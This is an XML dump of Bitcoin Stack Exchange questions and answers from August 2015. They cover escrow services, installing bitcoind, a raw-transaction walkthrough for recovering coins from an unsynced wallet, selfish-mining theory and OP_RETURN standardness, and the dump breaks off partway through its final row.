  <row Id="39264" PostTypeId="2" ParentId="39256" CreationDate="2015-08-27T00:08:49.093" Score="1" Body="&lt;p&gt;There's &lt;a href=&quot;https://www.bitrated.com/explore&quot; rel=&quot;nofollow&quot;&gt;Bitrated&lt;/a&gt;, which lets you explore a variety of independent escrow agents from the Bitcoin community. The service uses multisignature Bitcoin transactions, meaning the escrow agent has no direct control of the escrowed amount, and won't be called upon unless arbitration is requested by the other two parties. Accounts have people vouching for their authenticity, backed up with linked evidence such as social media profiles and cryptographic signatures. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-27T00:08:49.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39266" PostTypeId="2" ParentId="39190" CreationDate="2015-08-27T00:38:02.823" Score="2" Body="&lt;p&gt;Linux does not support NTFS very well, any other Linux native file system will be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using NTFS with the FUSE driver it will be very slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common Linux file system is ext4, I'd just use that :)&lt;/p&gt;&#xA;" OwnerUserId="28108" LastActivityDate="2015-08-27T00:38:02.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39267" PostTypeId="2" ParentId="39263" CreationDate="2015-08-27T00:44:25.497" Score="2" Body="&lt;p&gt;Bitcoin Core does not include &lt;code&gt;bitcoind&lt;/code&gt; or &lt;code&gt;bitcoin-cli&lt;/code&gt;. You can use the &quot;debug&quot; window to input the same commands there, or use  &lt;a href=&quot;http://brew.sh/&quot; rel=&quot;nofollow&quot;&gt;Homebrew&lt;/a&gt; to install &lt;code&gt;bitcoind&lt;/code&gt; and its related tools &lt;code&gt;bitcoin-cli&lt;/code&gt; and &lt;code&gt;bitcoin-tx&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew tap WyseNynja/homebrew-bitcoin&#xA;brew update&#xA;brew install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will download, compile, and install the most recent version of the daemon and the tools. The homebrew script used to do that is viewable on &lt;a href=&quot;https://github.com/WyseNynja/homebrew-bitcoin/blob/master/bitcoind.rb&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;. To keep up with new versions of Bitcoin Core that are released every few months, &lt;code&gt;brew update &amp;amp;&amp;amp; brew upgrade&lt;/code&gt; will check for new releases and rebuild if necessary. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-27T01:23:05.503" LastActivityDate="2015-08-27T01:23:05.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39268" PostTypeId="2" ParentId="6056" CreationDate="2015-08-27T03:34:45.230" Score="4" Body="&lt;p&gt;I had to do this for a Dogecoin wallet that was very out of sync once. I will outline the steps that worked for me. My example will be for Bitcoin, though, since that's probably what most people will need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caution: this is a bit technical, but it works. Expect this to take probably 10-30 minutes. This also assumes you are using a standard Pay-To-Pubkey-Hash address (for bitcoin, this just means an address that starts with a 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obtain the address that you were sent coins to. This is an address that the unsynced Bitcoin-QT wallet previously generated. For this example, I will use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13x1ZipMJJbVawV7voCtW5qSoBUTwx13Nr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as my address that I need to get coins out of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;a href=&quot;https://insight.bitpay.com/address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://insight.bitpay.com/address/&lt;/a&gt;{{ your address }}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the transaction TXID, output index, and amount of the coins you are trying to spend from the block explorer. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To get the transaction ID, use the hex code at the top of the transaction box.&lt;/li&gt;&#xA;&lt;li&gt;To get the output index, count the transaction outputs from zero until you find your address. For example, in the transaction shown below, my 13x... address received coins in the first output, which means index zero. If it were in the second output, it would be index 1, etc.&lt;/li&gt;&#xA;&lt;li&gt;To get the amount, make sure you select &quot;BTC&quot; as the website units (in the top right). Then copy the amount from the output where you see your address receiving coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So for me, the important information here is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txid:   83a1007401a6acb656668afc137b9c02ca023ae274e0f12abbc79395a89b6b79&#xA;index:  0&#xA;amount: 0.00231499&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LInrJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LInrJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other piece of information that we need is the &lt;code&gt;scriptPubKey&lt;/code&gt;. This is basically just a more low-level encoding of the address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this, click the &quot;+&quot; icon to the left of the TXID (still on the same insight page as before). Under your address, it will say something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 205799b3b8bdba5824b0129eec27450b0cfde7eb OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the scriptPubKey that you want is using those middle 40 hex characters, plus a few more. The basic formula is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey = &quot;76a914&quot; concat {{ hex chars from above }} concat &quot;88ac&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for my example, we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: 76a914205799b3b8bdba5824b0129eec27450b0cfde7eb88ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the address you want to send the coins too. I will use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1PwFdFxP7uXrun8sToCrWXxVdpeDeX6dfq.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we are going to create a transaction and send it out to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up the unsynced Bitcoin-QT wallet (or start the bitcoind daemon), and go to the Help menu, and select Debug Console. In the window that opens, replace the appropriate fields, and then type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction '[{ &quot;txid&quot;: &quot;{{ your txid }}&quot;, &quot;vout&quot;: {{ your index }} }]' '{ &quot;{{ your address from step 4 }}&quot;: {{ amount - fee }} }'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Typically, a fee of about 0.0001 applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for me this looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction '[{ &quot;txid&quot;: &quot;83a1007401a6acb656668afc137b9c02ca023ae274e0f12abbc79395a89b6b79&quot;, &quot;vout&quot;: 0 }]' '{&quot;1PwFdFxP7uXrun8sToCrWXxVdpeDeX6dfq&quot;: 0.00221499}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the result is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001796b9ba89593c7bb2af1e074e23a02ca029c7b13fc8a6656b6aca6017400a1830000000000ffffffff013b610300000000001976a914fb9570085ff3acfef21eac307223eaa499e1e21188ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we just have to sign it. This has to be done on the same daemon that generated the address, so that you have the private keys. Replace with your appropriate fields and then execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction {{ hex from createrawtransaction step above }} '[{ &quot;txid&quot;: &quot;{{ your txid }}&quot;, &quot;vout&quot;: {{ your index }}, &quot;scriptPubKey&quot;: &quot;{{ your scriptPubKey }}&quot; }]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for me this looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction 0100000001796b9ba89593c7bb2af1e074e23a02ca029c7b13fc8a6656b6aca6017400a1830000000000ffffffff013b610300000000001976a914fb9570085ff3acfef21eac307223eaa499e1e21188ac00000000 '[{ &quot;txid&quot;: &quot;83a1007401a6acb656668afc137b9c02ca023ae274e0f12abbc79395a89b6b79&quot;, &quot;vout&quot;: 0, &quot;scriptPubKey&quot;: &quot;76a914205799b3b8bdba5824b0129eec27450b0cfde7eb88ac&quot; }]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001796b9ba89593c7bb2af1e074e23a02ca029c7b13fc8a6656b6aca6017400a183000000006a4730440220000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000012102e25c37498e9e62b2ebcc85780e10949eaacd29826b5ca97a1031ee22e55f0ab5ffffffff013b610300000000001976a914fb9570085ff3acfef21eac307223eaa499e1e21188ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the final result of step 5, go to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://live.blockcypher.com/btc-testnet/pushtx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://live.blockcypher.com/btc-testnet/pushtx/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And enter the raw transaction hex. Select the &quot;Bitcoin&quot; network, hit the &quot;Broadcast Transaction&quot; button, and you will have successfully removed your coins from the unsynced wallet!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't have any affiliation with any of the services used here, I just found them useful for this answer.)&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-27T03:34:45.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39269" PostTypeId="1" CreationDate="2015-08-27T03:56:28.260" Score="2" ViewCount="422" Body="&lt;p&gt;In computer networking, &lt;strong&gt;multicast&lt;/strong&gt; (one-to-many or many-to-many distribution) is group communication where information is addressed to a group of destination computers simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the Satoshi client uses Universal Plug-n-Play (upnp) to find other Bitcoin nodes.  I came to this conclusion after a cursory glance through the code at occurrences of &quot;multicast,&quot; IIRC.  I was looking because I thought that multicast would be a great way to broadcast block solutions.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-08-27T21:27:51.870" Title="Why aren't block solutions sent to a multicast address?" Tags="|block|network|broadcast|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39270" PostTypeId="2" ParentId="23798" CreationDate="2015-08-27T04:48:51.100" Score="0" Body="&lt;p&gt;I think you have asked a good question, although it's value is only in getting people to think about these issues, and I don't like the wording.  The fact is that the three factors you identified for exclusion cannot be removed.  I discourage separating bad actions from their consequences in the mind.  It opens doors to bad places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first question in your paragraph has the seeds of a measurement problem.  You start out measuring the ratio of blocks solved by the selfish miner, but eventually you get to the rate at which he solves blocks.  Pick one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He does solve a higher ratio of blocks, but since he is mining alone for some of that time, it takes longer, so on the ratio metric, he has the advantage.  On the metric of solution rate, he does not have an advantage, at least not until his &quot;sadism&quot; as you called it affects the difficulty, which you excluded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I would like to discourage a certain kind of thinking that your question demonstrates.  I doubt you did this on purpose (school tends to bend us towards it), but I will ask a question in the same way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does rape cause any problems in the absence of psychological effects, pregnancy, and injury?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps your goal was not to suggest that selfish mining can be acceptable behavior, but to zero in on the effects that make it unacceptable.  For the purpose of further illustration, I propose that you ask it this way next time: What effects of rape are problematic aside from psychological effects, pregnancy, and injury?  Or, for your question, &quot;What advantages does selfish mining offer other than more transaction fees, a lower difficulty, and the increase in price from a choked supply?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, it was in answering my own more-recently asked question, &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/39226/can-bitcoin-days-destroyed-be-a-better-resolution-mechanism-for-competing-blocks&quot;&gt;Can Bitcoin Days Destroyed be a better resolution mechanism for competing blocks?&lt;/a&gt;&quot; that I came back to this one to offer my answer.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-08-27T04:48:51.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39271" PostTypeId="2" ParentId="39226" CreationDate="2015-08-27T05:04:53.127" Score="1" Body="&lt;p&gt;&lt;strong&gt;Thanks to Murch, I'm answering my own question; Yes!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Murch made the point that using BTCDD enables a selfish miner to mine a non-broadcast transaction that spends old coins rather than having to rely on a network propagation advantage.  I understand this objection.  That advantage is easily removed by excluding from your BTCDD calculation transactions that you didn't see until you got this new block.  Now the selfish miner has to broadcast his old-coin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edit due to comment:) While it is true that some BTCDD-heavy transactions will have gotten to one miner and not another, making the tie-breaking strategy arbitrary, because neither will have the BTCDD-heavy transaction privately mined by the selfish miner, it is still more effective at discouraging selfish mining than letting the network choose randomly, if and when you can assume that most miners will have seen both blocks around the same time.  BTCDD is arbitrary because of incomplete propagation of transactions, but because of fully propagated transactions, it is less arbitrary than first-seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can't spend just a part of an input.  I submit that it's harder to have (enough) old coins than it is to set up a global network of tightly connected nodes for cheating.  I suppose I could be wrong, but &lt;em&gt;old coins&lt;/em&gt; is always a dwindling resource and &lt;em&gt;global nodes willing to help cheat&lt;/em&gt; is probably a growing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only purpose for orphaning a block is that you've already been mining on top of your replacement for it. This point was made soon after Sirer and Eyal described their selfish mining vulnerability, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23798/does-selfish-mining-actually-give-an-advantage-in-the-absence-of-transaction-fee&quot;&gt;though quite indirectly&lt;/a&gt;.  Using a &quot;later block&quot; to do that would severely diminish the advantage.  The point is to discourage sitting on solutions by making the later block more likely to be accepted.  Would you consider throwing away any seconds of your own mining when you see an alternate solution?  To discourage selfish mining, I'd do a few seconds, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also very much like discouraging empty blocks, but who mines empty blocks just to do a selfish mining attack?  Oh wait, that's probably the best way to do it!  Hmm...&lt;/p&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-08-29T19:21:39.073" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="39272" PostTypeId="2" ParentId="39238" CreationDate="2015-08-27T07:47:19.317" Score="1" Body="&lt;p&gt;Your altcoin is supposed to be money and has no intrinsic value.&#xA;If you ask &quot;how much money people give in exchange for X amount of the coin?&quot; it does not create trust at all, it signals that you are interested in short-term $ exchange rate profit, not in fostering a new economy (which is why Bitcoin exchange rate is so high).&#xA;In both cases, however, purely unpredictable.&lt;/p&gt;&#xA;" OwnerUserId="6592" LastActivityDate="2015-08-27T07:47:19.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39273" PostTypeId="2" ParentId="39263" CreationDate="2015-08-27T08:49:00.603" Score="2" Body="&lt;p&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt; (and other tools) or available as &quot;official&quot; binaries (for OSX, Win and Linux). Just download the &lt;code&gt;*-osx64.tar.gz&lt;/code&gt;. Check: &lt;a href=&quot;https://bitcoin.org/bin/bitcoin-core-0.11.0/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bin/bitcoin-core-0.11.0/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-27T08:49:00.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39275" PostTypeId="1" CreationDate="2015-08-27T16:51:46.827" Score="2" ViewCount="413" Body="&lt;p&gt;I am looking through the bitcoin github history. I am trying to find the commit where OP_RETURN became accepted as a standard tx. This was included in the changelog for Bitcoin Core 0.90. Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking through the Script Solver and see where OP_RETURN is included as a type in the template, but don't see where it returns true for any null data case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2015-08-27T17:18:32.847" Title="Where is the code making OP_RETURN a standard transaction type?" Tags="|transactions|script|standard|op-return|non-standard-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39276" PostTypeId="2" ParentId="39275" CreationDate="2015-08-27T17:09:20.940" Score="1" Body="&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool Solver(const CScript&amp;amp; scriptPubKey, txnouttype&amp;amp; typeRet, vector&amp;lt;vector&amp;lt;unsigned char&amp;gt; &amp;gt;&amp;amp; vSolutionsRet)&#xA;[...]&#xA;    // Empty, provably prunable, data-carrying output&#xA;    if (GetBoolArg(&quot;-datacarrier&quot;, true))&#xA;        mTemplates.insert(make_pair(TX_NULL_DATA, CScript() &amp;lt;&amp;lt; OP_RETURN &amp;lt;&amp;lt; OP_SMALLDATA));&#xA;    mTemplates.insert(make_pair(TX_NULL_DATA, CScript() &amp;lt;&amp;lt; OP_RETURN));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ddd8d80c63182aefea56abf743bb9199d9602544/src/script/standard.cpp#L40&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/ddd8d80c63182aefea56abf743bb9199d9602544/src/script/standard.cpp#L40&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-27T17:09:20.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39277" PostTypeId="2" ParentId="3644" CreationDate="2015-08-27T17:13:00.883" Score="0" Body="&lt;p&gt;Although this question was posted long ago, I thought I'd still share my ideas on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing research on name squatting in Namecoin for a while and it seems to me that raising transaction costs or renewal fees will not solve the problem. The only way squatting activities can be reduced imho is to incentivize the &quot;fair&quot; usage of Namecoin as a decentralized naming system, i.e., making squatting even less attractive than it is now (I shall not go into detail quite yet). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3644/namecoin-is-there-any-rationale-behind-the-apparently-foolish-choice-of-havin#comment4753_3705&quot;&gt;Lohoris' comment&lt;/a&gt; - Yes, name squatting has damaged Namecoin. Yes, the Namecoin devs seem to ignore this topic. BUT: I would not say that Namecoin is dead. There need to be changes, which will probably result in a hard fork, but Namecoin's still there.&lt;/p&gt;&#xA;" OwnerUserId="28117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-08-27T17:13:00.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39278" PostTypeId="2" ParentId="39275" CreationDate="2015-08-27T17:18:32.847" Score="4" Body="&lt;p&gt;This is the PR that made OP_RETURN outputs standard:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2738&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/2738&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The commit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/bitcoin/commit/a79342479f577013f2fd2573fb32585d6f4981b3&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/bitcoin/commit/a79342479f577013f2fd2573fb32585d6f4981b3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The current code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.11.0/src/script/standard.cpp#L56-L58&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.11.0/src/script/standard.cpp#L56-L58&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (GetBoolArg(&quot;-datacarrier&quot;, true))&#xA;        mTemplates.insert(make_pair(TX_NULL_DATA, CScript() &amp;lt;&amp;lt; OP_RETURN &amp;lt;&amp;lt; OP_SMALLDATA));&#xA;    mTemplates.insert(make_pair(TX_NULL_DATA, CScript() &amp;lt;&amp;lt; OP_RETURN));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-27T17:18:32.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39279" PostTypeId="2" ParentId="39258" CreationDate="2015-08-27T17:51:02.973" Score="1" Body="&lt;p&gt;Yes you can as long as you have the mnemonic phrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter it here for recovery:  &lt;a href=&quot;https://blockchain.info/wallet/forgot-password&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/forgot-password&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have the access to the email address then you will need to contact support at: &lt;a href=&quot;https://blockchain.info/support-desk&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/support-desk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the info straight from Blockchain.info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mnemonic is the passphrase seed of your Blockchain Wallet provided to you when you sign up for a new wallet. The purpose of this is in case you need to recover your wallet at a later date, if you lose your login information. When you recover your wallet with your mnemonic, your password and identifier will be displayed to you. Your main password can not be changed once it is set, therefore your mnemonic will always remain the same for each wallet. - See more at: &lt;a href=&quot;http://blog.blockchain.com/2015/03/17/whats-the-difference-a-comparison-between-key-blockchain-wallet-terms-and-features/#sthash.kRhvW9CM.dpuf&quot; rel=&quot;nofollow&quot;&gt;http://blog.blockchain.com/2015/03/17/whats-the-difference-a-comparison-between-key-blockchain-wallet-terms-and-features/#sthash.kRhvW9CM.dpuf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-08-27T17:51:02.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39280" PostTypeId="1" CreationDate="2015-08-27T17:58:27.440" Score="1" ViewCount="2044" Body="&lt;p&gt;I'm really new to bitcoins so being naive I've jumped in downloading a wallet (bitcoin core), got my address and set off buying 1 bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I bought the bitcoin and it all went fine, I went to my wallet to find nothing there, I got a little concerned thinking it sent them elsewhere but after a check on blockchain it said they were sent to my address. After some googling I realised I hadn't let bitcoin core download the full blockchain data and read that all I had to was wait for my blockchain to download and my bitcoins would appear in my wallet. So I went to sleep. I checked my laptop in the morning to see it was sailing through the block chain and only had 1 year to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've came in from work and my Portable HDD is making all sorts of noises but still being read and written to. My bitcoin core has frozen though, not long after the time I checked it this morning, I closed it and tried to reopen but it has asked me to create a path to download the blockchain? I've also gotten a new bitcoin address! I'm seriously flapping now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So exited it and tried to open the wallet.dat file I saved the previous night but it never saved after I bought the bitcoin! This has been opened and my bitcoin address is now the same but now bitcoin core says indexing blockchain or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main question is: Have I lost my bitcoins or do I just need to wait on the indexing and they will appear? The blockchain says they are still registered to that wallet.&lt;/p&gt;&#xA;" OwnerUserId="28118" LastEditorUserId="51948" LastEditDate="2017-10-16T21:07:28.100" LastActivityDate="2019-07-05T11:37:54.903" Title="Have I lost my Bitcoins?" Tags="|bitcoin-core|lost-bitcoins|lost-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39281" PostTypeId="2" ParentId="39280" CreationDate="2015-08-27T18:53:57.833" Score="2" Body="&lt;p&gt;If you saved a copy of your wallet, I don't think you have lost your bitcoins. The bitcoin core client makes 100 addresses ahead of time (you don't have just 1 address!), and they are all stored in the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wait until you client has finished downloading the blockchain, or follow the steps &lt;a href=&quot;https://bitcoin.stackexchange.com/a/39268/18196&quot;&gt;here&lt;/a&gt; to get them out without waiting!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-27T18:53:57.833" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39283" PostTypeId="2" ParentId="39269" CreationDate="2015-08-27T21:27:51.870" Score="2" Body="&lt;p&gt;Multicast just doesn't work very well over the Internet. Relaying just works better. One big problem is that multicast provides no way to police emitters of junk while relaying allows each relayer to verify information prior to relaying it, preventing an attacker from getting amplification.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-08-27T21:27:51.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39286" PostTypeId="1" CreationDate="2015-08-28T05:23:05.613" Score="0" ViewCount="195" Body="&lt;p&gt;I want to see my account balance in wallet using console but when i use getbalance test its only show me total receive balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is many account that i want to see total balance but i try listreceivedbyaccount test is show me received balance? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I also try getreceivedbyaccount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm trying create a web wallet in php a web wallet for orbitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, anybody help me!&lt;/p&gt;&#xA;" OwnerUserId="28128" LastEditorUserId="2306" LastEditDate="2015-08-28T06:04:25.043" LastActivityDate="2015-08-28T06:04:25.043" Title="how to get total send balance of account in orbitcoin wallet?" Tags="|php|balance|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39288" PostTypeId="1" AcceptedAnswerId="39294" CreationDate="2015-08-28T11:40:55.803" Score="0" ViewCount="328" Body="&lt;p&gt;The scriptPubKey for &lt;a href=&quot;http://blockchain.info/rawtx/cbebc4da731e8995fe97f6fadcd731b36ad40e5ecb31e38e904f6e5982fa09f7?format=json&quot; rel=&quot;nofollow&quot;&gt;cbebc4da731e8995fe97f6fadcd731b36ad40e5ecb31e38e904f6e5982fa09f7&lt;/a&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;0x2102085c6600657566acc2d6382a47bc3f324008d2aa10940dd7705a48aa2a5a5e33ac7c2103f5d0fb955f95dd6be6115ce85661db412ec6a08abcbfce7da0ba8297c6cc0ec4ac7c5379a820d68df9e32a147cffa36193c6f7c43a1c8c69cda530e1c6db354bfabdcfefaf3c875379a820f531f3041d3136701ea09067c53e7159c8f9b2746a56c3d82966c54bbc553226879a5479827701200122a59a5379827701200122a59a6353798277537982778779679a68&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whilst it's outpoint:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The test vector spending it, &lt;a href=&quot;http://blockchain.info/rawtx/cc60b1f899ec0a69b7c3f25ddf32c4524096a9c5b01cbd84c6d0312a0c478984?format=json&quot; 